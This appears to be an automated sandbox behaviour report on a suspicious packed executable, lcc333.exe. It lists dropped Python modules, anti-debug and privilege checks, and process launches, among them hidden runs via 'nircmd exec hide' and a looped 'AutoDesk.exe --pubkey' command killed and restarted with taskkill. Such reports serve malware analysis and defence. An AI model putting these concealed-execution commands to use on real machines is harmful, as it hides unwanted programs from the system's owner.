Source: C:\Users\user\Desktop\lcc333.exe

Code function: 0_2_00007FF714C876C0 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

0_2_00007FF714C876C0

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\timeout.exe	Window / User API: threadDelayed 1089	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Window / User API: threadDelayed 5403	Jump to behavior
Source: C:\Windows\System32\timeout.exe	Window / User API: threadDelayed 377	Jump to behavior

Source: C:\Users\user\Desktop\lcc333.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\select.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\python312.dll	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer\md__mypyc.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\charset_normalizer\md.cp312-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\lcc333.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI6122\_bz2.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\lcc333.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_0-17721

Source: C:\Windows\System32\nircmd.exe

API coverage: 0.0 %

Source: C:\Windows\System32\timeout.exe TID: 7136	Thread sleep count: 39 > 30	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 3924	Thread sleep count: 1089 > 30	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 3924	Thread sleep time: -108900s >= -30000s	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 2928	Thread sleep count: 5403 > 30	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 2928	Thread sleep time: -540300s >= -30000s	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 2928	Thread sleep count: 377 > 30	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 2928	Thread sleep time: -37700s >= -30000s	Jump to behavior
Source: C:\Windows\System32\timeout.exe TID: 1568	Thread sleep count: 127 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\timeout.exe	Last function: Thread delayed
Source: C:\Windows\System32\timeout.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\timeout.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C89280 FindFirstFileExW,FindClose,	0_2_00007FF714C89280
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C883C0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00007FF714C883C0
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714CA1874 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	0_2_00007FF714CA1874
Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_0000000140002C80 strcpy,strrchr,FindFirstFileA,FindNextFileA,FindClose,	15_2_0000000140002C80
Source: C:\Windows\System32\nircmd.exe	Code function: 15_2_0000000140003B64 FindFirstFileA,FindNextFileA,FindClose,strlen,strlen,	15_2_0000000140003B64

Source: lcc333.exe, 00000000.00000003.2106645553.000002172D7DF000.00000004.00000020.00020000.00000000.sdmp, cacert.pem.0.dr	Binary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: app_process.exe, 00000012.00000002.3340588726.000001E127F7C000.00000004.00000020.00020000.00000000.sdmp, app_process.exe, 00000020.00000002.3354287204.0000014329934000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: cacert.pem.0.dr	Binary or memory string: zJVSk/BwJVmcIGfE7vmLV2H0knZ9P4SNVbfo5azV8fUZVqZa+5Acr5Pr5RzUZ5dd
Source: app_process.exe, 00000016.00000002.3340743307.000002168C8B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll]]
Source: app_process.exe, 00000023.00000002.3354158380.00000275E82E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllrr

Source: C:\Users\user\Desktop\lcc333.exe

Code function: 0_2_00007FF714C9A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF714C9A614

Source: C:\Windows\System32\nircmd.exe

Code function: 15_2_0000000140007DE4 FreeLibrary,LoadLibraryA,GetProcAddress,memset,GetLastError,FreeLibrary,memset,CreateProcessA,GetLastError,FreeLibrary,

15_2_0000000140007DE4

Source: C:\Users\user\Desktop\lcc333.exe

Code function: 0_2_00007FF714CA3480 GetProcessHeap,

0_2_00007FF714CA3480

Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\taskkill.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C9A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF714C9A614
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C8C8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF714C8C8A0
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C8D12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF714C8D12C
Source: C:\Users\user\Desktop\lcc333.exe	Code function: 0_2_00007FF714C8D30C SetUnhandledExceptionFilter,	0_2_00007FF714C8D30C

Source: C:\Windows\System32\app_process.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\System32\nircmd.exe	Code function: memset,memset,GetWindowsDirectoryA,strlen,strlen,FindWindowA,GetWindowThreadProcessId,OpenProcess,CloseHandle,CloseHandle,PostMessageA,EnumWindows,memset,memset,MultiByteToWideChar,CloseHandle,FindWindowA,GetWindowThreadProcessId,PostMessageA,memset,CreateProcessA,FreeLibrary, Explorer.exe		15_2_00000001400057E0
Source: C:\Windows\System32\nircmd.exe	Code function: memset,memset,GetWindowsDirectoryA,strlen,strlen,FindWindowA,GetWindowThreadProcessId,OpenProcess,CloseHandle,CloseHandle,PostMessageA,EnumWindows,memset,memset,MultiByteToWideChar,CloseHandle,FindWindowA,GetWindowThreadProcessId,PostMessageA,memset,CreateProcessA,FreeLibrary, Explorer.exe		15_2_00000001400057E0

Source: C:\Users\user\Desktop\lcc333.exe	Process created: C:\Users\user\Desktop\lcc333.exe "C:\Users\user\Desktop\lcc333.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 120	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im AutoDesk.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c "AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 120	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 600	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im app_process.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\nircmd.exe nircmd exec hide "app_process.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 600	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\AutoDesk.exe AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\AutoDesk.exe AutoDesk.exe --pubkey BQQYZKHfNhmUrdU2UhwZzWdVpiVzdBCa3qLerhDrcbAs

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im AutoDesk.exe			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /f /im app_process.exe			Jump to behavior

Source: nircmd.exe, nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: Shell_TrayWnd
Source: nircmd.exe, nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: Progman
Source: nircmd.exe, nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: progman
Source: nircmd.exe, 00000022.00000002.3347749954.0000000140017000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: "Userenv.dllCreateEnvironmentBlockCreateProcessWithLogonWExplorer.exeShell_TrayWndProgmanSetConsoleDisplayModeEnumDisplayDevicesAmasterwaveoutsynthcdmicrophonephoneauxlineheadphoneswaveinaltctrlshiftextplusspcentertabescinsdelDllRegisterServerDllUnregisterServerNirCmdWinClsfolder.loopcountcurrdate.currtime.sys.nir.param.fparam.clipboardNirComLinenowexefilesystemwindowsnircmdcommon_desktopcommon_start_menucommon_programsdesktopstart_menuprogramsstartupappdatalocalappdatacookiesfavoritesrecentcommon_startupcommon_favoritesprogramfilescommon_programfilesmydocumentsnormallowbelownormalabovenormalhighrealtimeSeTcbPrivilegeSeDebugPrivilegenohexnoasciibinCannot find the specified process !Failed to load the process library !leftshiftrightshiftleftctrlrightctrlleftmenurightmenudownupleftrighthomeendinsertdeletecommaminusperiodlwinrwinappspageuppagedownmultiplyaddsubtractseperatordividebackspacepausecapslocknumlockscrollprintscreen#32770clicksettextshowshownahidehideshowflashmaxminsettopmostfocusactivateenabledisabletoggledisabletogglehidetogglemintogglemaxredrawsetsizesendmsgpostmsgcenterchildmovedlgclickdlgsettextdlgsetfocus+style-style+exstyle-exstyletranstitlestitleititleetitleidclassprocessalltopalltopnodesktopprogmanshell_traywndbuttonallFailed to create the shortcut !nircmd.exe %sadmin$\nircmd.exe\\cfocusedsystemsoundsSound Devicesdefault_recordshowerrorparamsfilecmdwaitloopremotecopymultiremoteqboxcomqboxcomtopinfoboxqboxqboxtopexec2execexecmdcmd.execommand.com%s /c %sregsetvalThe specified key is not valid !SZEXPAND_SZDWORDBINARYregdelvalregdelkeyCannot delete the key, because it contains one or more subkeys.regeditinisetvalinidelvalinidelsecrasdialdlginetdialThe dialing function is not available in your system !rasdialUnable to receive dialup information of the specified entry !moverecyclebinemptybinrashangupFailed to hung up this RAS itemCannot find the specified connection name !exitwinlogoffpoweroffrebootshutdownforceforceifhungabortshutdowninitshutdowncmdshortcutcmdshortcutkeyshortcutshexecFailed to execute this file !clonefiletimesetfiletimesetfilefoldertimesetconsolemodeconsolewritesetconsolecolordebugwritesetcursorsetcursorwinrestartexplorersendkeypress+sendkeypresssendmousewheeldblclickmovecursorchangebrightness\\.\LCDsetbrightnesssetprimarydisplaysetdisplaymonitor:-updatereg-allusersFailed to change the display setting !Invalid display values !closeprocessFailed to close the specified process !killprocessFailed to kill the specified process !memdumpserviceUnable to load the services library !stopcontinuestartrestartautomanualdisabledbootwinhandleactiveforegroundlockwsclearsetfilereadfilewritefilewriteufileaddfileaddufilecopyimagesaveimageloadclpsaveclpsetdialuplogonFailed to set the logon details for this dialup item !scriptmediaplayopen "%s" type mpegvideo alias %splay %sclose %surlshortcut%fav%Failed to create the internet shortcut !monitoroffonasync_offasync_onasync_lowscreensaverscreensavertimeoutrunassystemwinlogon.exeruninteractiv
Source: nircmd.exe, nircmd.exe, 0000000F.00000002.2526477071.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 0000000F.00000000.2523657662.0000000140017000.00000002.00000001.01000000.00000013.sdmp, nircmd.exe, 00000015.00000002.2528526092.0000000140017000.00000002.00000001.01000000.00000013.sdmp	Binary or memory string: shell_traywnd

Source: C:\Users\user\Desktop\lcc333.exe

Code function: 0_2_00007FF714CA9570 cpuid

0_2_00007FF714CA9570

Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\certifi VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\base_library.zip VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\_socket.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122\select.pyd VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6122 VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\lcc333.exe	Queries volume information: C:\Users\user\Desktop\lcc333.exe VolumeInformation	Jump to behavior
